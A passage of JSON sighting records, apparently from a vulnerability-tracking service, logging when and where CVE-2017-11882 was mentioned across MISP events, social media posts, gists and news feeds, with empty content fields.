"b1ee8b95-6bcb-4077-a9b6-b2a418279434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/333e60f5-fb3f-4df9-a2bb-e0fc9a85dc93", "content": "", "creation_timestamp": "2020-10-09T16:18:06.000000Z"}, {"uuid": "f3979ce4-8921-4991-8df1-ea0f97fc1914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/6613da78-5d22-4573-a362-6d2ebc064e92", "content": "", "creation_timestamp": "2020-10-09T16:31:54.000000Z"}, {"uuid": "6048e887-0369-4272-9255-73eb371880d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/39f34a88-0bcf-4a84-a26b-00df8f88e409", "content": "", "creation_timestamp": "2020-10-09T16:30:07.000000Z"}, {"uuid": "99428e5c-fc58-4e00-a657-d199d2f7cc61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/a680474b-a774-4112-aa70-43143493595e", "content": "", "creation_timestamp": "2020-10-09T15:58:43.000000Z"}, {"uuid": "568dfdce-6d45-4406-9465-a0fac3454a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/e2f94d40-1ef8-488a-98f9-8d6261ee230e", "content": "", "creation_timestamp": "2020-10-09T16:28:21.000000Z"}, {"uuid": "1d0c1433-7072-4f4c-b0c7-409b00e03c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/babf4434-8d64-443a-82c2-48f271a78fec", "content": "", "creation_timestamp": "2020-10-09T15:58:22.000000Z"}, {"uuid": "a73761fb-e893-4245-a44d-6c8f8b9cb38c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/94c21f22-a02a-4aba-98f1-bcc7bc99ba68", "content": "", "creation_timestamp": "2020-10-09T15:10:12.000000Z"}, {"uuid": "51827edd-e36b-4507-83ee-967f42587f2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/803e25db-f6ef-4b81-8d64-8cc433d8e205", "content": "", "creation_timestamp": "2020-10-09T15:58:20.000000Z"}, {"uuid": "e78caf2a-451f-429d-b2d1-38c95c50edea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/080111b8-7287-4ced-845d-b76f2ff696d1", "content": "", "creation_timestamp": "2020-10-09T15:10:15.000000Z"}, {"uuid": "facc5801-c9ec-433f-87be-43524d29959d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/487b1fdf-8776-4b8c-bf87-98f1eaccb860", "content": "", "creation_timestamp": "2020-10-09T16:26:57.000000Z"}, {"uuid": "d4210311-3f38-4d1e-bc00-2e7903910963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/3c5c6bf8-4c3d-48de-8eb3-49f0d290a01a", "content": "", "creation_timestamp": "2020-10-09T16:26:28.000000Z"}, {"uuid": "2e9fa734-92e2-4314-870e-51a98889c20c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/3b008c1f-015e-470e-8223-3874f39b63ed", "content": "", "creation_timestamp": "2020-11-20T19:00:12.000000Z"}, {"uuid": "b1ba4ed6-5326-4bce-9a52-9ce85b8ddd66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/588851f1-fa7d-4cdb-920a-7e75a12ae5a1", "content": "", "creation_timestamp": "2020-10-09T16:22:34.000000Z"}, {"uuid": "e80fd9b9-0fb6-46eb-aa01-fec2983fff44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/6e52852d-ee79-4033-bd7b-70dd7d2cd024", "content": "", "creation_timestamp": "2020-10-09T16:38:29.000000Z"}, {"uuid": "8ececc02-d7b1-478b-9fd3-fed62624bfea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/d34989c8-31a2-4e2a-b299-e8172296af43", "content": "", "creation_timestamp": "2020-10-09T16:37:53.000000Z"}, {"uuid": "773f82fa-7d7b-43bc-9acb-dcf3ed2846ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/75a19461-856d-46bf-9880-2700313759e2", "content": "", "creation_timestamp": "2020-10-09T16:36:37.000000Z"}, {"uuid": "1035b933-7b11-4074-a467-c2c1d7b4bc41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/28219fd4-56f3-470c-90ae-bdaeb006502e", "content": "", "creation_timestamp": "2022-08-12T22:46:15.000000Z"}, {"uuid": "677d015a-f22a-481c-bb80-9e525b932c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/e7ba6328-3c18-4578-a7c2-96a151170246", "content": "", "creation_timestamp": "2022-08-19T07:27:40.000000Z"}, {"uuid": "00578c9d-fc26-4031-897a-210cbe019def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "content": "", "creation_timestamp": "2021-10-25T22:32:43.000000Z"}, {"uuid": "c2866c57-b0d2-4a17-a5d9-70470f908bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/866f2e50-efe5-4d58-85c7-33bf3a52443c", "content": "", "creation_timestamp": "2023-03-23T08:35:22.000000Z"}, {"uuid": "88e4737c-ddcd-4d48-92c7-d169959c40b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/b51d5ffe-e680-4249-bf5e-df1a943ebd76", "content": "", "creation_timestamp": "2023-02-02T13:16:56.000000Z"}, {"uuid": "debe4e9f-2e90-4fb7-8a85-085c55c0d308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/fedfe142-fc7c-44e9-8726-9d214e158983", "content": "", "creation_timestamp": "2023-03-07T08:15:11.000000Z"}, {"uuid": "fae01f5c-f9c8-4187-9005-c91c8cd17f6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/55996610-9a10-4b25-99ac-301a3667cf02", "content": "", "creation_timestamp": "2022-06-09T10:04:09.000000Z"}, {"uuid": "c7a8508e-bfcd-48f4-a2df-4aef67bee339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/43d507bd-bcfc-4a77-8478-ddfbe8ead817", "content": "", "creation_timestamp": "2023-05-04T05:47:45.000000Z"}, {"uuid": "b46203e5-ce6b-4694-8c7b-58843c5c80d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/66a76374-5da8-4ff7-8113-64700a0a2864", "content": "", "creation_timestamp": "2024-07-29T09:51:25.000000Z"}, {"uuid": "e5dd7245-b18d-4693-9219-38e163d0d98e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/3c9fa790-f4b2-44e5-bd3c-593bd7113bef", "content": "", "creation_timestamp": "2024-02-28T11:10:03.000000Z"}, {"uuid": "f508868a-bf2c-4fa6-bd21-1ef60392a19c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/2acd7b8b-14ab-4995-bac6-d5e7b10edbfb", "content": "", "creation_timestamp": "2023-12-13T17:40:03.000000Z"}, {"uuid": "1def33a0-3646-4385-bf0f-06011bca34fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/4be664dc-e87c-48ab-bd68-0d55b53c084a", "content": "", "creation_timestamp": "2024-04-22T05:53:01.000000Z"}, {"uuid": "e2b82f48-d655-471a-8872-eba728808699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113584080222922612", "content": "", "creation_timestamp": "2024-12-02T16:05:21.846600Z"}, {"uuid": "557b13b2-86ee-4221-8368-8e76a88bed5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2970996", "content": "", "creation_timestamp": "2024-12-24T20:22:49.182954Z"}, {"uuid": "fe2f86e7-560f-4da1-aec5-e5551279f0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfuawllt2k2s", "content": "", "creation_timestamp": "2025-01-16T12:13:34.526112Z"}, {"uuid": "88a6f2c0-0613-4740-83e1-812f47ed2732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:43.000000Z"}, {"uuid": "4b4f82b9-5a75-4a82-8aba-71f618195286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:52.000000Z"}, {"uuid": "ee527bd6-a67f-43eb-88c6-3697adfa4814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lk2jwhhduh2q", "content": "", "creation_timestamp": "2025-03-10T21:51:19.578852Z"}, {"uuid": "4b2098c0-7b62-4142-a8bd-787199544a2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-9d1c9d9f-675cdbc3d8f48478", "content": "", "creation_timestamp": "2025-03-01T00:19:16.388867Z"}, {"uuid": "bb34b160-9bf0-48b1-805c-1a32645b82b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/d30e5de3-c990-4238-a467-199367482fe0", "content": "", "creation_timestamp": "2025-03-14T07:15:01.000000Z"}, {"uuid": "ab023b7b-1dc4-44fc-a518-a9c85136664b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-da5be645-2d2cef9b734bbc2f", "content": "", "creation_timestamp": "2025-03-10T10:37:05.780581Z"}, {"uuid": "3c9f3628-e4cb-403e-bc82-1251345de12f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lk5wblazqe26", "content": "", "creation_timestamp": "2025-03-12T06:10:16.110616Z"}, {"uuid": "3487f750-eb74-4d9d-81d9-9195f60cb80a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lleoqhxjgv2l", "content": "", "creation_timestamp": "2025-03-27T16:09:15.848289Z"}, {"uuid": "6891be7e-a9a4-4f01-922b-979ab8261365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/d30e5de3-c990-4238-a467-199367482fe0", "content": "", "creation_timestamp": "2025-03-13T13:04:06.000000Z"}, {"uuid": "ee8c6c5b-6b2d-412b-899d-82641d0a580d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:39.000000Z"}, {"uuid": "16188e75-6492-42c0-8400-b13d63ec1af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/28219fd4-56f3-470c-90ae-bdaeb006502e", "content": "", "creation_timestamp": "2025-07-04T05:52:07.000000Z"}, {"uuid": "3ce40e8e-b3b2-4713-a80e-e3374c40fc5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-3364b60f-c08146b2b2e47cde", "content": "", "creation_timestamp": "2025-04-23T14:24:19.880706Z"}, {"uuid": "3df05aa6-98bb-43d3-b321-7ccb71a8c711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/79567ee9-7789-4122-b5b4-157b756ce71f", "content": "", "creation_timestamp": "2025-05-07T18:25:08.000000Z"}, {"uuid": "ccdc394c-205f-43e0-be89-867b5b6545fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-50f1a5f6-768cfe71f5758dad", "content": "", "creation_timestamp": "2025-05-30T12:09:25.563871Z"}, {"uuid": "569fec82-14cb-4253-baf1-20e899f49aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lpovenznnd2f", "content": "", "creation_timestamp": "2025-05-21T15:15:20.387445Z"}, {"uuid": "785053a3-fee7-489d-bc72-238e3e6673a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-c2bf1de8-a3d86412d4b899ac", "content": "", "creation_timestamp": "2025-10-16T12:23:29.843620Z"}, {"uuid": "23767a00-25fd-4ef4-a7af-72143c59c10a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3lvxiqovcju2x", "content": "", "creation_timestamp": "2025-08-09T09:54:32.184257Z"}, {"uuid": "ad7805e3-85dc-4ff2-85c6-7a0e2e329060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lvzaaose322r", "content": "", "creation_timestamp": "2025-08-10T02:27:44.878956Z"}, {"uuid": "687948f3-1d3d-4288-a14f-897800ad70ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/61a93feb-8eed-4a07-8104-fd529801bdf8", "content": "", "creation_timestamp": "2025-09-22T09:04:14.000000Z"}, {"uuid": "a0314092-0c69-45d8-ab36-bc961135aa25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/sansisc.bsky.social/post/3lwbb7oatin2k", "content": "", "creation_timestamp": "2025-08-13T07:06:22.471346Z"}, {"uuid": "2982bab6-50a2-4420-ac00-2d8d92727ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3lwbcg32ln726", "content": "", "creation_timestamp": "2025-08-13T07:27:51.365724Z"}, {"uuid": "beab54cb-e80f-41df-8d6b-39529fd1cabe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lwbdhln65fr2", "content": "", "creation_timestamp": "2025-08-13T07:46:41.668758Z"}, {"uuid": "32c8a6db-3609-447b-a821-f1672891dad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lwbgafuipx24", "content": "", "creation_timestamp": "2025-08-13T08:36:16.237662Z"}, {"uuid": "6c3a748c-1c92-4e60-ab7b-af3740f284dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/gscafo.bsky.social/post/3lwc6ifyljh2g", "content": "", "creation_timestamp": "2025-08-13T15:50:14.556687Z"}, {"uuid": "34a4e748-ebb5-4b22-b9b2-61c26fb7e7f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lwcc2ibxwz2r", "content": "", "creation_timestamp": "2025-08-13T16:54:02.074368Z"}, {"uuid": "59b85b2d-b539-4fc3-80d1-a53d18bdfeb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://go.theregister.com/feed/www.theregister.com/2025/08/13/crooks_cant_let_go_active/", "content": "", "creation_timestamp": "2025-08-13T13:45:08.000000Z"}, {"uuid": "8ac13230-0dc3-46de-9526-3d94bbcbec0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lwdiurr7gc2d", "content": "", "creation_timestamp": "2025-08-14T04:28:46.994338Z"}, {"uuid": "0dbbd82b-27f0-4df9-9f17-227893a193cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lweuxfaask2d", "content": "", "creation_timestamp": "2025-08-14T17:37:39.170199Z"}, {"uuid": "c3da4914-bff4-460e-aee3-9f6596f9458d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://gist.github.com/Aggerio/10aad290a474eb5bc314c9ace3da24e8", "content": "", "creation_timestamp": "2025-11-23T14:43:53.000000Z"}, {"uuid": "9432db75-d69c-495f-8b7f-d97411e9e916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3m2onjcgmlb2b", "content": "", "creation_timestamp": "2025-10-08T12:31:53.212409Z"}, {"uuid": "eb431d52-af2a-40fc-ae84-65988b461170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "content": "", "creation_timestamp": "2025-08-25T18:31:43.000000Z"}, {"uuid": "b12c7273-619f-4db3-90ab-8ecfec6982f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3m5yj7ldv562w", "content": "", "creation_timestamp": "2025-11-19T14:57:04.562937Z"}, {"uuid": "165d7cfc-730a-4aa3-99d0-01588355a39d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-5996e413-521accfb6cd2622e", "content": "", "creation_timestamp": "2025-08-27T14:01:54.792196Z"}, {"uuid": "7b2cab83-799c-46fa-ad32-22ad959b41cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://gist.github.com/Darkcrai86/b95ad3c09e144b1374ba582c8572df1a", "content": "", "creation_timestamp": "2025-08-29T13:26:19.000000Z"}, {"uuid": "54faf07d-9e91-4dea-9c01-cbf28352ebf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://gist.github.com/Darkcrai86/8e24c88946a42f8f80b0ea8fada3c6be", "content": "", "creation_timestamp": "2025-08-29T20:08:55.000000Z"}, {"uuid": "11914a1f-8e87-42ca-bd65-0b956947e4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-be4c6ae6-41d04d89fb236f71", "content": "", "creation_timestamp": "2025-08-30T10:23:38.986163Z"}, {"uuid": "29ff2632-3495-4908-8a6a-3c68c0ae924c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:47.000000Z"}, {"uuid": "67afe7d2-9ff6-4e0c-bb8b-e2439647888a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/5e728038-af3c-4872-b5ac-26229de67855", "content": "", "creation_timestamp": "2025-09-02T14:08:13.000000Z"}, {"uuid": "5da4991a-b0c1-481d-9619-b66b6cacbf58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3m4fed6kbwk2o", "content": "", "creation_timestamp": "2025-10-30T06:43:58.829926Z"}, {"uuid": "e3c63087-ce5f-429f-a5d6-e60f43024d08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/office_ms17_11882.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "518b1e25-7fb6-40ea-8f82-fc8b0f75af39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/infosecindustry.bsky.social/post/3lxzmpmv2ju2r", "content": "", "creation_timestamp": "2025-09-04T17:01:14.043715Z"}, {"uuid": "4aed6b10-2c73-4aaa-a187-22b3757c2e07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-c39acbe0-91886c343547fcce", "content": "", "creation_timestamp": "2025-12-05T12:35:57.871474Z"}, {"uuid": "4ab03ca9-5256-4582-ad85-98ffbdb1d718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-1fdfda19-2805a58255f192e9", "content": "", "creation_timestamp": "2026-03-06T10:29:25.768189Z"}, {"uuid": "a3a09f94-5c65-450e-b58f-c94347a475a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 